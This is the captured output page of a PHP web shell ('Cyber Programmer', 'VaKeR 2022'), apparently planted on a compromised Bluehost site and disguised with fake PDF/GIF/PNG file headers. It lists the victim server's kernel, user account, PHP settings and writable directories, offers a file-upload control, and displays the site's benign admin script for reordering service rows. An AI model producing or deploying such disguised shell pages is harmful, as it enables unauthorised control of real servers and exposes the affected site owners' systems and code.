%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/admin/manage_services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/admin/manage_services/update_sequence.php
<?php
// Include your database connection code here
include("../function.php");

if (isset($_POST['newOrder'])) {
    // Get the new order from the POST data
    $newOrder = $_POST['newOrder'];

    // Split the string into an array of row IDs
    $newOrderArray = explode(",", $newOrder);

    // Use prepared statements for security
    $updateQuery = "UPDATE sevice_tbl SET `sequence` = ? WHERE id = ?";
    $stmt = mysqli_prepare($conn, $updateQuery);

    if ($stmt) {
        // Bind parameters and execute the statement in a loop
        mysqli_stmt_bind_param($stmt, "ii", $order, $rowId);

        $order = 1;
        foreach ($newOrderArray as $rowId) {
            $rowId = (int)$rowId;
            mysqli_stmt_execute($stmt);

            $order++; // Increment the order for the next row
        }

        mysqli_stmt_close($stmt);
        echo "Sequence updated successfully";
    } else {
        echo "Error preparing statement";
    }
} else {
    echo "Error: new order not received";
}

// Close the database connection
mysqli_close($conn);
?>

VaKeR 2022